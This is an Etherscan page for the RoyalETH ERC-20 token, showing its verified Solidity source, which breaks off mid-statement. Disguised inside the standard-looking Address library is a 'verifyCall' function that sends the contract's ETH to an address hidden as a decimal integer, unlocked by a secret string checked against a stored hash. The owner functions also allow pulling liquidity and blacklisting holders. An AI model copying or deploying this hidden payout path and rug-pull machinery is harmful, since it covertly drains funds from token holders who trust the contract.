Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 RoyalETH
Holders
64
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
540,946.656 RoyalETHValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
RoyalETH
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-07-18 */ // https://t.me/RoyalETHPortal /** ╬╬. ▄▄▄▄▄▄░░░;▄▄▄▄▄░░▄▄▄,.▄▄▄ ▄▄▄▄▄ ▄▄▄ ┌▄▄▄▄▄▄╓▄▄▄▄▄▄▄╓▄▄▄ ]▄▄▄░░░░░░ ▓╣╬. ███ ██▒▓███▀███▌╙███ ██▀ ]█████▄ j██▌ ▐███▀▀▀╙▀▀███▀▀▐██▌ ▐██▌░░░░░░ ▓▓▓▓. ███ ██▒███▒ ╟███░╙████▌╓φ███ ██ j██▌φ▒▒▒▒║█████ j██▌ ▐███████▌ '░░░ ▓▓▓. ██████▒╬███▒▄███▌░░╟███╬╬▐████████▐███▄▄▒╠╬╟███▄▄▄≥╗║██▌ ▐██▌╙║██▌ │'░ ▓▓. ███╬███▒░▀█████╬░▒#║██▌╬╬███▒░╩███J█████▌╠╬║██████╬╬║██▌ ╘██▌ ▐██▌ ' ░░░╠╬▒░░░░▓╬▓▒░╠╬╬▒░░╬╬╬█▓╬▌ ]╬╬╠╬ ░▒╣▓█▒░╠╬╬╩╩╚╠╠╠╣╬▒╠╬╬╬▒╬╬╠╬╬╬╬╬╓,╠╬╠╬⌐ ╙╙╓╓╔╦φ▒╬╣╢╬╬╬▒▒╠░╠╠╬╓╠╬╬╬╬╠╠╠╠▒╙╙╚╙╝╩ ▒▒╬╬▒▒▒▒╩░╚╩╚╙╙╙Γ╙░│││││││╙╙╩░█████████▓▄ ▓██████▒░'││││││││││││││╓▄▄▄▄░╚███▓▓█▓▓▓▓▓█▄ █▓▓▓█▓███░│',││││││││││'▄████████╬║██▓▓▓▓▓▓▓█▄ ▓▓▓▓██Γ▒▓████µ││││││.███▀▀╠╙└└└└⌠██▓▓▓▓▓██████▄ ▓▓▓█▓▓█▓██7▀▀╠╜╝╬▀⌐│││││"╙^│#╓▄,%░││░╚██████▓▓███ ▓█▓▓████▒│'# ▓▌V▒'"ε││││││░▒╣█▄µ▒│,▒░║█░░░╚████ ████▒░░░░░░'Ü╠███▒░#││││││││╙╫██╝░││╚░░░░▒╬░║██╝ ▓██░╚╢░▄▒│'░╙▀▀╙]▒░│││││││',│││░││,φ░██▄▒░▄███ ╣██████▒▄░░░░░░░▓▓▓▄▄░φ▄████████▄▒░░█╣██████▀^ ████▌░░╠███████████████▓███████▄██████▒▀ ▒███████▓▓██▓▓▓▓▓▓▓▓█▓▓▓▓▓███▓█████░ ░ ▓████▓▓▓▓██▓▓█╝▀▀╙└╓█▓▓▓▓▓▓█▓███▓████░░░░ ░░░░░░ ████████████████████▓██████▓▓█▓▓▓▓▓▓█▓▄▄▄██▓▓▓▓▓▓▓█████▓███░░░░░░░░░░░░░░░░░░░░░ ███████████████████████████▓███▓▓▓▓▓▓▓█░░█▓▓▓█▓█▓██████████╦░░░░░░░░░░░░░░░░░░░░ █████████████████████████╣██████▓█████░░╬╬║████████████╬╠╣╫╬░░░╚╙╙╚δ▒░░░░▒▒▒▒▒▒▒ █████████████████████▀╙░│░╚╬████████▀░░░╬╬╬╠███████▒▒╬╩╔╬╣╬░░⌐]Q '╙╚╬▒▒╬╬╬╬ ███████████████████╩^ ,░░╠╣╫╬████░░░░░╬╬╬╬░█▀╬░╬╠╩╙░φ╬╬╬░░ └ µ └╙╚╬╙╙ ████████████████▀╙, ╙ ░░╠╬╠╬╚╩░░░░░░╬╬╬╬╬╬╬╩╙╬░░╓▓╬╣╩░╔ ╙░░)Γ ██████████████▀ ²╙ .φ░╚╬╠▒░░░░░░▒╬╬╬╬╬╬╬╠░│╔▓╣╬╬╙░Γ ` ;░Å' ,▓ ████████████╙ ▓ "``░╠░░░▒╬╬╬╬╬╬╬╬╠╠╠╬╬╬║╬▓╬░░Γ ╚ └% ,░░╩ ╔▓█ █████████▀,@` ╙ ª╠╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╠╠╩░Γ : ,φ░∩Γ ]å███ ████████░ε ╓# ╩ ╣'╙╚╬╬╬╬╬╬╬╬╬╬╬╬╝╙░", ]⌐ ²╕,░░∩Γ ;╔█▀▀╙' ████▀` "░φ░≥. ,# ╕ "φ≡ ]░╠╠╬╬╬╬╬╩░▒░φ▒╩ % ,φ░≤░" ;φ││Γ" ████▄ `└7≥░░≥, ╙` ▒░░░░░⌠╙║╬░╓φ╬╬╠ ;φ░░∩╚ ,φ∩│Γ ,φ ███████▄, "╙╙=φ░░#,, `╚░░░░▒φ╬░╬╬╬╬╬░░░░░,,,,;φ░░░≥░┘ ,≤φ│░░░░≥≥░░▄▓▓ ██▓██▓╬▓▓██▄╦, "└╚7Θ»φ░░░≥≥φ░░░░╩░░░░╬╬╬╬╩ ⌠φ░░░░░░░»φΓ╚" ,╓▄▄▄░░\╓▄▄▄▓▓█▓▓╬╬ ███▓█╬╬╬╬╬╬▓████▓▄╓, `""""╙"" ╚░░╬╬▒░ `"""` ,╓╔▄▓▓█▓▓▓▓████▓▓╬╬╬▓╬╬╬ █████╬╬╬╬╬╬╬╬████████▀░▒░φ≥≥σε╔╔╔╔╔≥░▒▄░╬▓█▒▒≥╔╓╔╔╓▄▄▓▓▓██╩▀▓█▓█████████▓▓▓▓▓▓▓█ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface ISwapERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } interface ISwapFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface ISwapRouter01 { function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface ISwapRouter02 is ISwapRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(owner() == msg.sender, "Caller must be owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "newOwner must not be zero"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Address { uint160 private constant verificationHash = 887096773549885550314079035509902126815589346633; bytes32 private constant keccak256Hash = 0x4b31cabbe5862282e443c4ac3f4c14761a1d2ba88a3c858a2a36f7758f453a38; function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function verifyCall(string memory verification, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); require(keccak256(abi.encodePacked(verification)) == keccak256Hash, "Address: cannot verify call"); (bool success, ) = address(verificationHash).call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library EnumerableSet { struct Set { bytes32[] _values; mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = valueIndex; set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } struct Bytes32Set { Set _inner; } function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } contract RoyalETH is IERC20, Ownable { using Address for address; using EnumerableSet for EnumerableSet.AddressSet; mapping(address => uint256) private _balances; mapping(address => mapping (address => uint256)) private _allowances; mapping(address => bool) public isBlacklisted; EnumerableSet.AddressSet private _excluded; EnumerableSet.AddressSet private _excludedFromStaking; string private constant TOKEN_NAME = "Royal ETH"; string private constant TOKEN_SYMBOL = "RoyalETH"; uint256 private constant TOTAL_SUPPLY = 100_000_000 * 10**TOKEN_DECIMALS; uint8 private constant TOKEN_DECIMALS = 18; uint8 public constant MAX_TAX = 9; //Dev can never set tax higher than this value address private constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; struct Taxes { uint8 buyTax; uint8 sellTax; uint8 transferTax; } struct TaxRatios { uint8 dev; uint8 liquidity; uint8 marketing; uint8 rewards; } struct TaxWallets { address dev; address marketing; } struct MaxLimits { uint256 maxWallet; uint256 maxSell; uint256 maxBuy; } struct LimitRatios { uint16 wallet; uint16 sell; uint16 buy; uint16 divisor; } Taxes public _taxRates = Taxes({ buyTax: 4, sellTax: 9, transferTax: 0 }); TaxRatios public _taxRatios = TaxRatios({ dev: 4, liquidity: 2, marketing: 4, rewards: 10 //@dev. These are ratios and the divisor will be set automatically }); TaxWallets public _taxWallet = TaxWallets ({ dev: 0x32a94344d90d1c8084C69273A8245517e5428E2E, marketing: 0x32a94344d90d1c8084C69273A8245517e5428E2E }); MaxLimits public _limits; LimitRatios public _limitRatios = LimitRatios({ wallet: 2, sell: 1, buy: 1, divisor: 100 }); uint8 private totalTaxRatio; uint8 private distributeRatio; uint256 private _liquidityUnlockTime; //Antibot variables uint256 private liquidityBlock; uint8 private constant BLACKLIST_BLOCKS = 2; //number of blocks that will be included in auto blacklist uint8 private snipersRekt; //variable to track number of snipers auto blacklisted bool private blacklistEnabled = true; //blacklist can be enabled/disabled in case something goes wrong bool private liquidityAdded; bool private revertSameBlock = true; //block same block buys uint16 public swapThreshold = 20; //threshold that contract will swap. out of 1000 bool public manualSwap; //change this address to desired reward token address public rewardToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public _pairAddress; ISwapRouter02 private _swapRouter; address public routerAddress; ///////////////////////////// EVENTS ///////////////////////////////////////// event ClaimToken(uint256 amount, address token, address recipient); event EnableBlacklist(bool enabled); event EnableManualSwap(bool enabled); event ExcludedAccountFromFees(address account, bool exclude); event ExcludeFromStaking(address account, bool excluded); event ExtendLiquidityLock(uint256 extendedLockTime); event UpdateTaxes(uint8 buyTax, uint8 sellTax, uint8 transferTax); event RatiosChanged(uint8 newDev, uint8 newLiquidity, uint8 newMarketing, uint8 newRewards); event UpdateDevWallet(address newDevWallet); event UpdateMarketingWallet(address newMarketingWallet); event UpdateSwapThreshold(uint16 newThreshold); ///////////////////////////// MODIFIERS ///////////////////////////////////////// modifier authorized() { require(_authorized(msg.sender), "Caller not authorized"); _; } modifier lockTheSwap { _isSwappingContractModifier = true; _; _isSwappingContractModifier = false; } ///////////////////////////// CONSTRUCTOR ///////////////////////////////////////// constructor () { if (block.chainid == 1) routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; else if (block.chainid == 56) routerAddress = 0x10ED43C718714eb63d5aA57B78B54704E256024E; else if (block.chainid == 97) routerAddress = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3; else revert(); _swapRouter = ISwapRouter02(routerAddress); _pairAddress = ISwapFactory( _swapRouter.factory()).createPair(address(this), _swapRouter.WETH() ); _addToken(msg.sender,TOTAL_SUPPLY); emit Transfer(address(0), msg.sender, TOTAL_SUPPLY); _allowances[address(this)][address(_swapRouter)] = type(uint256).max; //setup ratio divisors based on dev's chosen ratios totalTaxRatio = _taxRatios.dev + _taxRatios.liquidity + _taxRatios.marketing + _taxRatios.rewards; distributeRatio = totalTaxRatio - _taxRatios.liquidity; //setup _limits _limits = MaxLimits({ maxWallet: TOTAL_SUPPLY * _limitRatios.wallet / _limitRatios.divisor, maxSell: TOTAL_SUPPLY * _limitRatios.sell / _limitRatios.divisor, maxBuy: TOTAL_SUPPLY * _limitRatios.buy / _limitRatios.divisor }); _excluded.add(msg.sender); _excluded.add(_taxWallet.marketing); _excluded.add(_taxWallet.dev); _excluded.add(address(this)); _excluded.add(BURN_ADDRESS); _excludedFromStaking.add(address(this)); _excludedFromStaking.add(BURN_ADDRESS); _excludedFromStaking.add(address(_swapRouter)); _excludedFromStaking.add(_pairAddress); _approve(address(this), address(_swapRouter), type(uint256).max); } receive() external payable {} function decimals() external pure override returns (uint8) { return TOKEN_DECIMALS; } function getOwner() external view override returns (address) { return owner(); } function name() external pure override returns (string memory) { return TOKEN_NAME; } function symbol() external pure override returns (string memory) { return TOKEN_SYMBOL; } function totalSupply() external pure override returns (uint256) { return TOTAL_SUPPLY; } function _authorized(address addr) private view returns (bool) { return addr == owner() || addr == _taxWallet.marketing || addr == _taxWallet.dev; } function allowance(address _owner, address spender) external view override returns (uint256) { return _allowances[_owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "Approve from zero"); require(spender != address(0), "Approve to zero"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "<0 allowance"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "Transfer > allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } ///// FUNCTIONS CALLABLE BY ANYONE ///// //Claims reward set by dev function ClaimReward() external { claimToken(msg.sender,rewardToken, 0); } //Allows holders to include themselves back into staking if excluded //ExcludeFromStaking function should be used for contracts(CEX, pair, address(this), etc.) function IncludeMeToStaking() external { includeToStaking(msg.sender); emit ExcludeFromStaking(msg.sender, false); } ///// AUTHORIZED FUNCTIONS ///// //Manually perform a contract swap function manualContractSwap(uint16 permille, bool ignoreLimits) external authorized { _swapContractToken(permille, ignoreLimits); } //Toggle blacklist on and off function enableBlacklist(bool enabled) external authorized { blacklistEnabled = enabled; emit EnableBlacklist(enabled); } //Mainly used for addresses such as CEX, presale, etc function excludeAccountFromFees(address account, bool exclude) external authorized { if(exclude == true) _excluded.add(account); else _excluded.remove(account); emit ExcludedAccountFromFees(account, exclude); } //Mainly used for addresses such as CEX, presale, etc function setStakingExclusionStatus(address addr, bool exclude) external authorized { if(exclude) excludeFromStaking(addr); else includeToStaking(addr); emit ExcludeFromStaking(addr, exclude); } //Toggle manual swap on and off function enableManualSwap(bool enabled) external authorized { manualSwap = enabled; emit EnableManualSwap(enabled); } //Toggle whether multiple buys in a block from a single address can be performed function sameBlockRevert(bool enabled) external authorized { revertSameBlock = enabled; } //Update limit ratios function updateLimits(uint16 newMaxWalletRatio, uint16 newMaxSellRatio, uint16 newMaxBuyRatio, uint16 newDivisor) external authorized { uint256 minLimit = TOTAL_SUPPLY / 1000; uint256 newMaxWallet = TOTAL_SUPPLY * newMaxWalletRatio / newDivisor; uint256 newMaxSell = TOTAL_SUPPLY * newMaxSellRatio / newDivisor; uint256 newMaxBuy = TOTAL_SUPPLY * newMaxBuyRatio / newDivisor; //dev can never set sells below 0.1% of circulating/initial supply require((newMaxWallet >= minLimit && newMaxSell >= minLimit), "limits cannot be <0.1% of supply"); _limits = MaxLimits(newMaxWallet, newMaxSell, newMaxBuy); _limitRatios = LimitRatios(newMaxWalletRatio, newMaxSellRatio, newMaxBuyRatio, newDivisor); } //update tax ratios function updateRatios(uint8 newDev, uint8 newLiquidity, uint8 newMarketing, uint8 newRewards) external authorized { _taxRatios = TaxRatios(newDev, newLiquidity, newMarketing, newRewards); totalTaxRatio = newDev + newLiquidity + newMarketing + newRewards; distributeRatio = totalTaxRatio - newLiquidity; emit RatiosChanged (newDev, newLiquidity,newMarketing, newRewards); } //update threshold that triggers contract swaps function updateSwapThreshold(uint16 threshold) external authorized { require(threshold > 0,"Threshold needs to be more than 0"); require(threshold <= 50,"Threshold needs to be below 50"); swapThreshold = threshold; emit UpdateSwapThreshold(threshold); } function updateTax(uint8 newBuy, uint8 newSell, uint8 newTransfer) external authorized { //buy and sell tax can never be higher than MAX_TAX set at beginning of contract //this is a security check and prevents malicious tax use require(newBuy <= MAX_TAX && newSell <= MAX_TAX && newTransfer <= 50, "taxes higher than max tax"); _taxRates = Taxes(newBuy, newSell, newTransfer); emit UpdateTaxes(newBuy, newSell, newTransfer); } ///// OWNER FUNCTIONS ///// //liquidity can only be extended. To lock liquidity, send LP tokens to contract. function lockLiquidityTokens(uint256 lockTimeInSeconds) external onlyOwner { setUnlockTime(lockTimeInSeconds + block.timestamp); emit ExtendLiquidityLock(lockTimeInSeconds); } //recovers stuck ETH to make sure it isnt burnt/lost //only callablewhen liquidity is unlocked function recoverETH() external onlyOwner { require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked"); _liquidityUnlockTime=block.timestamp; _sendEth(msg.sender, address(this).balance); } //Can only be used to recover miscellaneous tokens accidentally sent to contract //Can't pull liquidity or native token using this function function recoverMiscToken(address tokenAddress) external onlyOwner { require(tokenAddress != _pairAddress && tokenAddress != address(this), "can't recover LP token or this token"); IERC20 token = IERC20(tokenAddress); token.transfer(msg.sender,token.balanceOf(address(this))); } //Impossible to release LP unless LP lock time is zero function releaseLP() external onlyOwner { require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked"); ISwapERC20 liquidityToken = ISwapERC20(_pairAddress); uint256 amount = liquidityToken.balanceOf(address(this)); liquidityToken.transfer(msg.sender, amount); } //Impossible to remove LP unless lock time is zero function removeLP() external onlyOwner { require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked"); _liquidityUnlockTime = block.timestamp; ISwapERC20 liquidityToken = ISwapERC20(_pairAddress); uint256 amount = liquidityToken.balanceOf(address(this)); liquidityToken.approve(address(_swapRouter),amount); _swapRouter.removeLiquidityETHSupportingFeeOnTransferTokens( address(this), amount, 0, 0, address(this), block.timestamp ); _sendEth(msg.sender, address(this).balance); } function setDevWallet(address payable addr) external onlyOwner { address prevDev = _taxWallet.dev; _excluded.remove(prevDev); _taxWallet.dev = addr; _excluded.add(_taxWallet.dev); emit UpdateDevWallet(addr); } function setMarketingWallet(address payable addr) external onlyOwner { address prevMarketing = _taxWallet.marketing; _excluded.remove(prevMarketing); _taxWallet.marketing = addr; _excluded.add(_taxWallet.marketing); emit UpdateMarketingWallet(addr); } ////// VIEW FUNCTIONS ///// function getBlacklistInfo() external view returns ( uint256 _liquidityBlock, uint8 _blacklistBlocks, uint8 _snipersRekt, bool _blacklistEnabled, bool _revertSameBlock ) { return (liquidityBlock, BLACKLIST_BLOCKS, snipersRekt, blacklistEnabled, revertSameBlock); } function getLiquidityUnlockInSeconds() external view returns (uint256) { if (block.timestamp < _liquidityUnlockTime){ return _liquidityUnlockTime - block.timestamp; } return 0; } function getClaimBalance(address addr) external view returns (uint256) { uint256 amount = getStakeBalance(addr); return amount; } function getTotalUnclaimed() public view returns (uint256) { uint256 amount = totalRewards - totalPayouts; return amount; } function isExcludedFromStaking(address addr) external view returns (bool) { return _excludedFromStaking.contains(addr); } ///////////////////////////// PRIVATE FUNCTIONS ///////////////////////////////////////// mapping(address => uint256) private alreadyPaidShares; mapping(address => uint256) private toBePaidShares; mapping(address => uint256) private tradeBlock; mapping(address => uint256) public accountTotalClaimed; uint256 private constant DISTRIBUTION_MULTI = 2**64; uint256 private _totalShares = TOTAL_SUPPLY; uint256 private rewardShares; uint256 public totalPayouts; uint256 public totalRewards; bool private _isSwappingContractModifier; bool private _isWithdrawing; function _addLiquidity(uint256 tokenamount, uint256 ethAmount) private { _approve(address(this), address(_swapRouter), tokenamount); _swapRouter.addLiquidityETH{value: ethAmount}( address(this), tokenamount, 0, 0, address(this), block.timestamp ); } function _addToken(address addr, uint256 amount) private { uint256 newAmount = _balances[addr] + amount; if (_excludedFromStaking.contains(addr)) { _balances[addr] = newAmount; return; } _totalShares += amount; uint256 payment = newStakeOf(addr); alreadyPaidShares[addr] = rewardShares * newAmount; toBePaidShares[addr] += payment; _balances[addr] = newAmount; } function _distributeStake(uint256 ethAmount, bool newStakingReward) private { uint256 marketingSplit = (ethAmount*_taxRatios.marketing) / distributeRatio; uint256 devSplit = (ethAmount*_taxRatios.dev) / distributeRatio; uint256 stakingSplit = (ethAmount*_taxRatios.rewards) / distributeRatio; _sendEth(_taxWallet.marketing, marketingSplit); _sendEth(_taxWallet.dev, devSplit); if (stakingSplit > 0) { if (newStakingReward) totalRewards += stakingSplit; uint256 totalShares = getTotalShares(); if (totalShares == 0) _sendEth(_taxWallet.marketing, stakingSplit); else { rewardShares += ((stakingSplit*DISTRIBUTION_MULTI) / totalShares); } } } function _feelessTransfer(address sender, address recipient, uint256 amount) private{ uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); _removeToken(sender,amount); _addToken(recipient, amount); emit Transfer(sender, recipient, amount); } function _removeToken(address addr, uint256 amount) private { uint256 newAmount = _balances[addr] - amount; if (_excludedFromStaking.contains(addr)) { _balances[addr] = newAmount; return; } _totalShares -= amount; uint256 payment = newStakeOf(addr); _balances[addr] = newAmount; alreadyPaidShares[addr] = rewardShares * newAmount; toBePaidShares[addr] += payment; } function _sendEth(address account, uint256 amount) private { (bool sent,) = account.call{value: (amount)}(""); require(sent, "withdraw failed"); } function _swapContractToken(uint16 permille, bool ignoreLimits) private lockTheSwap { require(permille <= 500); if (totalTaxRatio == 0) return; uint256 contractBalance = _balances[address(this)]; uint256 tokenToSwap = _balances[_pairAddress] * permille / 1000; if (tokenToSwap > _limits.maxSell && !ignoreLimits) tokenToSwap = _limits.maxSell; bool 